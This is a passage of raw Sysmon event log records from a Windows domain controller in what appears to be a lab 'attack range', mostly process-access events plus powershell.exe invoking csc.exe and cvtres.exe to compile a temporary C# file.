YSTEM32\ntdll.dll+6e871 11241100x8000000000000000410Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:08:43.424{A5F018FF-289B-5F80-0C03-000000007E01}4616C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeC:\Users\Administrator\AppData\Local\Temp\yducswdl.dll2020-10-09 09:08:43.315 10341000x8000000000000000409Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.409{A5F018FF-289A-5F80-0703-000000007E01}27882144C:\Windows\system32\conhost.exe{A5F018FF-289B-5F80-0D03-000000007E01}2944C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000408Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.409{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000407Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.409{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000406Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.409{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000405Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.409{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000404Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.409{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000403Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.409{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000402Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.409{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000401Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.409{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000400Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.409{A5F018FF-2724-5F80-0500-000000007E01}640656C:\Windows\system32\csrss.exe{A5F018FF-289B-5F80-0D03-000000007E01}2944C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000399Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.409{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000398Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.409{A5F018FF-289B-5F80-0C03-000000007E01}46162364C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe{A5F018FF-289B-5F80-0D03-000000007E01}2944C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+b181|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3d58|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3ed0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3fa6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+274e|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+27a0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+28e4|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+7e38f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+45d22|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+448ef|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+445e6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+44303|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+18321|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+17b76|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+9e0d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+1edf02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000397Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.418{A5F018FF-289B-5F80-0D03-000000007E01}2944C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe12.00.52519.0 built by: VSWINSERVICINGMicrosoft® Resource File To COFF Object Conversion UtilityMicrosoft® .NET FrameworkMicrosoft CorporationCVTRES.EXEC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESC8A6.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCB08C6A3E727B486C8A28C7A3507AF95A.TMP"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-289A-5F80-95B1-110000000000}0x11b1950HighMD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF{A5F018FF-289B-5F80-0C03-000000007E01}4616C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\yducswdl.cmdline" 10341000x8000000000000000396Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.330{A5F018FF-289A-5F80-0703-000000007E01}27882144C:\Windows\system32\conhost.exe{A5F018FF-289B-5F80-0C03-000000007E01}4616C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000395Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000394Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000393Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000392Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000391Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000390Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000389Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000388Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000387Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000386Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.330{A5F018FF-2724-5F80-0500-000000007E01}640760C:\Windows\system32\csrss.exe{A5F018FF-289B-5F80-0C03-000000007E01}4616C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000385Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.330{A5F018FF-289A-5F80-0A03-000000007E01}44244940C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-289B-5F80-0C03-000000007E01}4616C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+270222|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26fe9f|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f9ee|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f97a|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26e48b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c1edb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c19a9|UNKNOWN(00007FFF224CB68F) 154100x8000000000000000384Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 